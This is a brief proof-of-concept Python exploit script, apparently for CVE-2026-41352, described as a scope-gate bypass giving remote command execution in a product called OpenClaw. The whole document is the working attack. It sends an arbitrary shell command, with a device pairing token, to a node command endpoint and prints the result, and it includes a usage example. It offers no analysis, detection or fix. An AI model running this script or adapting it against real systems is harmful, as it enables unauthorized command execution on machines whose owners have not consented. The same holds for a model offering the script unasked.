CVE-2026-41352

# PoC for CVE-2026-41352: OpenClaw Node Scope Gate Bypass RCE # This script demonstrates how an attacker with device pairing credentials # can bypass the node scope gate to execute arbitrary commands. import requests import sys def exploit(target_url, pairing_token, command): headers = { "Authorization": f"Bearer {pairing_token}", "Content-Type": "application/json" } # Payload targeting the vulnerable node endpoint payload = { "node_id": "bypass_scope", "action": "execute", "command": command } try: # Sending request to the node scope gate response = requests.post(f"{target_url}/api/node/cmd", json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Command output:") print(response.text) else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <pairing_token> <command>") print("Example: python poc.py http://192.168.1.10:8080 token123 'whoami'") sys.exit(1) target = sys.argv[1] token = sys.argv[2] cmd = sys.argv[3] exploit(target, token, cmd)

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